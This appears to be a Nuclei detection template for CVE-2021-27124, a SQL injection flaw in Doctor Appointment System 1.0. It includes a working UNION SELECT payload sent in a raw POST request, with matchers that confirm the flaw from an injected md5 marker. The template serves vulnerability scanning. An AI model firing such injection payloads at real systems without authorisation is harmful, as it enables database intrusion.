id: CVE-2021-27124

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: medium
  description: |
    SQL injection in the expertise parameter in search_result.php in Doctor Appointment System v1.0.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - https://packetstormsecurity.com/files/161342/Doctor-Appointment-System-1.0-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27124
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-27124
    cwe-id: CWE-89
    epss-score: 0.02262
    epss-percentile: 0.88413
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: packetstorm,cve,cve2021,sqli,doctor-appointment-system

http:
  - raw:
      - |
        POST /patient/search_result.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        expertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
          - "Doctor Appoinment System"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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